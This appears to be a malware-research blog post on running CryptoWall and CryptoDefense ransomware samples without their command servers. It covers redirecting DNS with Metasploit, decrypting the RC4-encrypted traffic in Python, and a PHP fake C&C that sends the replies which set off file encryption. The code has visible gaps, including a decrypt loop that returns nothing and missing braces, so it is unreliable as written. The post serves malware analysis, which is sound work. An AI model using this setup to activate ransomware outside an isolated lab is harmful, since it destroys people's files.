Getting CryptoWall and CryptoDefense working without C&C

It’s common to find malware samples that need the C&C to work. This is the case of Cryptowall and CryptoDefense ransomwares. If you need to debug samples of these families you will usually find the C&C down and the ransom won’t work and won’t encrypt files. It only will try to connect to C&C continuously.

In this article i’m going to describe a way to create a fake C&C for CryptoWall and CryptoDefense families, and how to get samples of these families working into a vmware for example.

In the first place, we need to redirect any connection performed by the ransomware to our server. Depending on the sample they connect to different domains, so we need to redirect any connection to our fake server.

We will use metasploit’s fakedns module for this purpose:

msf > use auxiliary/server/fakedns
msf auxiliary(fakedns) > set TARGETACTION FAKE
msf auxiliary(fakedns) > set TARGETDOMAIN *
msf auxiliary(fakedns) > set TARGETHOST

With these commands we create a dns server that redirect any query to On this ip address will be running an apache server.

In the second place we need to redirect any query to our http server (any URI) to the same document. We can do this by adding these lines to httpd.conf:

RewriteEngine On
RewriteCond %{REQUEST_URI} !^/index.php
RewriteRule . /index.php

Now we can implement the php to give to the ransomware the responses that they need to work.



CryptoWall uses a query-response communication mechanism to communicate with the C&C. Communications are encrypted with rc4. Cryptowall client connects to C&C http server. The URI is the rc4 key in random order (it’s neccesary to order it in growing order). The client sent via POST the query’s data. So, to decrypt it, it’s necesary to take the rc4 key of the URI, order it, and decrypt the POST content.

Example query:

8    0.218529    HTTP    156    POST /w72sh29mlo HTTP/1.1  (application/x-www-form-urlencoded)


Here we can see a complete communcation extracted from a pcap file:


The string before comma is the rc4 key. The string after comma is the POST data.

We can decrypt it with the script in the section Code 1 at the end of this article.

The decrypted queries/responses:

response:{250|kpai7ycr7jxqkilp.onion|75a5|ES|—–BEGIN PUBLIC KEY—–

We only need to imitate the communication with our php to get cryptowall working.

You can find a functional php file in the section Code 2 at the end of this article.



CryptoDefense communications are very similar to CryptoWall. It uses the same mechanism of query/response encrypted with rc4. We can use the same python script to decrypt communications. Here is a sample decrypted communication:


With CryptoDefense we only need to response with a “OK” response to the client and it starts to encrypt.

The php file in the section Code 2 at the end of this article works for CryptoWall and CryptoDefense.



Code 1. Python script to decrypt Crytpowall communications:

You must call this scrypt with the path to a file with cryptowall communications. Communications should appear in this format into the document:

<rc4 key 1>,<content 1>

<rc4 key 2>,<content 2>

<rc4 key N>,<content N>



import sys
from array import array

def rc4_ksa(key):
  keylen = len(key)
  S = range(256)
  j = 0
  for i in range(256):
    j = (j+S[i]+key[i%keylen])%256
    S[i], S[j] = S[j], S[i]
  return S

def rc4_prng_and_xor(ct, S_):
  S = list(S_)
  pt = []
  ctlen = len(ct)
  i = 0
  j = 0
  for c in ct:
    i = (i+1)%256
    j = (j+S[i])%256
    S[i], S[j] = S[j], S[i]
    k = (S[i]+S[j])%256
  return pt

def main():

  f = open(sys.argv[1])
  l = f.readlines()
  fout = open(sys.argv[1]+".decrypted","w+b")
  for ll in l:
    lltemp = ll.split(',')
    if lltemp[1][-1]=='\n':
      lltemp = (lltemp[0], lltemp[1][0:-1])
    print lltemp
    key_sorted = sorted(bytearray(lltemp[0]))
    data = bytearray(lltemp[1].decode("hex"))

    S = rc4_ksa(key_sorted)
    plain = rc4_prng_and_xor(data, S)
    print array('B', plain).tostring()
    fout.write(array('B', plain).tostring()+"\r\n")
  return 0

if __name__ == '__main__':

Code 2. Php fake Cryptowall/CryptoDefense server:


    /* vim: set expandtab shiftwidth=4 softtabstop=4 tabstop=4: */

     * RC4Crypt 3.2
     * RC4Crypt is a petite library that allows you to use RC4
     * encryption easily in PHP. It's OO and can produce outputs
     * in binary and hex.
     * (C) Copyright 2006 Mukul Sabharwal []
     *     All Rights Reserved
     * @link
     * @author Mukul Sabharwal <>
     * @version $Id: class.rc4crypt.php,v 3.2 2006/03/10 05:47:24 mukul Exp $
     * @copyright Copyright &copy; 2006 Mukul Sabharwal
     * @license
     * @package RC4Crypt

     * RC4 Class
     * @package RC4Crypt
    class rc4crypt {
         * The symmetric encryption function
         * @param string $pwd Key to encrypt with (can be binary of hex)
         * @param string $data Content to be encrypted
         * @param bool $ispwdHex Key passed is in hexadecimal or not
         * @access public
         * @return string
        function encrypt ($pwd, $data, $ispwdHex = 0)
            if ($ispwdHex)
                $pwd = @pack('H*', $pwd); // valid input, please!

            $key[] = '';
            $box[] = '';
            $cipher = '';

            $pwd_length = strlen($pwd);
            $data_length = strlen($data);

            for ($i = 0; $i < 256; $i++)
                $key[$i] = ord($pwd[$i % $pwd_length]);
                $box[$i] = $i;
            for ($j = $i = 0; $i < 256; $i++)
                $j = ($j + $box[$i] + $key[$i]) % 256;
                $tmp = $box[$i];
                $box[$i] = $box[$j];
                $box[$j] = $tmp;
            for ($a = $j = $i = 0; $i < $data_length; $i++)
                $a = ($a + 1) % 256;
                $j = ($j + $box[$a]) % 256;
                $tmp = $box[$a];
                $box[$a] = $box[$j];
                $box[$j] = $tmp;
                $k = $box[(($box[$a] + $box[$j]) % 256)];
                $cipher .= chr(ord($data[$i]) ^ $k);
            return $cipher;
         * Decryption, recall encryption
         * @param string $pwd Key to decrypt with (can be binary of hex)
         * @param string $data Content to be decrypted
         * @param bool $ispwdHex Key passed is in hexadecimal or not
         * @access public
         * @return string
        function decrypt ($pwd, $data, $ispwdHex = 0)
            return rc4crypt::encrypt($pwd, $data, $ispwdHex);
  function hextobin($hexstr) 
    $n = strlen($hexstr); 
      $a =substr($hexstr,$i,2);           
      $c = pack("H*",$a); 
      if ($i==0){$sbin=$c;} 
      else {$sbin.=$c;} 
    return $sbin; 
* Crypt/decrypt strings with RC4 stream cypher algorithm.
* @param string $key Key
* @param string $data Encripted/pure data
* @see
* @return string
function rc4($key, $data)
  // Store the vectors "S" has calculated
  static $SC;
  // Function to swaps values of the vector "S"
  $swap = create_function('&$v1, &$v2', '
      $v1 = $v1 ^ $v2;
      $v2 = $v1 ^ $v2;
      $v1 = $v1 ^ $v2;
  $ikey = crc32($key);
  if (!isset($SC[$ikey])) {
      // Make the vector "S", basead in the key
      $S    = range(0, 255);
      $j    = 0;
      $n    = strlen($key);
      for ($i = 0; $i < 255; $i++) {
          $char  = ord($key{$i % $n});
          $j     = ($j + $S[$i] + $char) % 256;
          $swap($S[$i], $S[$j]);
      $SC[$ikey] = $S;
  } else {
      $S = $SC[$ikey];
  // Crypt/decrypt the data
  $n    = strlen($data);
  $data = str_split($data, 1);
  $i    = $j = 0;
  for ($m = 0; $m < $n; $m++) {
      $i        = ($i + 1) % 256;
      $j        = ($j + $S[$i]) % 256;
      $swap($S[$i], $S[$j]);
      $char     = ord($data[$m]);
      $char     = $S[($S[$i] + $S[$j]) % 256] ^ $char;
      $data[$m] = chr($char);
  return implode('', $data);
function response() { 


foreach ($_POST as $name => $value) {

    //we get the uri, that is a rc4 key. Its necesary to order bytes to decrypt coming data
    $rc4key_bytearray = unpack('C*', substr("$_SERVER[REQUEST_URI]", 1));
    $rc4key_bytearray_str = implode(array_map("chr", $rc4key_bytearray));
    //here we have decrypted data coming from ransom
    $cwcommand = rc4crypt::decrypt($rc4key_bytearray_str, hextobin($value));
    //if the command starts with { after decryption its surely a cryptowall
    if ($cwcommand[0]=='{')
      if(strpos($cwcommand, "crypt")!=FALSE) //cryptodefense
        //cryptodefense command example: {1|crypt11|99DC835DFC77319C2176AB46302136BF|2|1|2|}
        //              response: {240|1}    

        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, "{240|1}"));    
        //echo strlen($temp);
        $arrtemp = str_split($temp, 50);
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        
      else if(strpos($cwcommand, "cw")!=FALSE && $cwcommand[1]=='1') //cryptowall first msg
        //cryptowall msg1 communications example:
        $premsgres = "{212|1}";
        //now, with the key, its necesary to encrypted the response and send it to the client
        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, $premsgres));    
        //echo strlen($temp);
        $arrtemp = str_split($temp, 50);
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        
      else if(strpos($cwcommand, "cw")!=FALSE && $cwcommand[1]=='7') //cryptowall second msg
        //cryptowall msg2 communications example:
        //response:{250|kpai7ycr7jxqkilp.onion|75a5|ES|-----BEGIN PUBLIC KEY-----
        //-----END PUBLIC KEY-----}           
        $msgres = "{250|kpai7ycr7jxqkilp.onion|75a5|ES|-----BEGIN PUBLIC KEY-----\r\n".
        "-----END PUBLIC KEY-----}";

        //now, with the key, its necesary to encrypted the response and send it to the client
        $temp = bin2hex(rc4crypt::encrypt($rc4key_bytearray_str, $msgres));    
        //echo strlen($temp);
        $arrtemp = str_split($temp, 50);
        foreach ($arrtemp as $arrtempN) {        
          echo $arrtempN;        

<?php response();?>

4 thoughts on “Getting CryptoWall and CryptoDefense working without C&C

  1. Just a heads up…nice article, but there is a typo in your python.
    fout.write(array(‘Blain).tostring()+”\r\n”) should be fout.write(array(‘B’, plain.tostring()+”\r\n”).


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s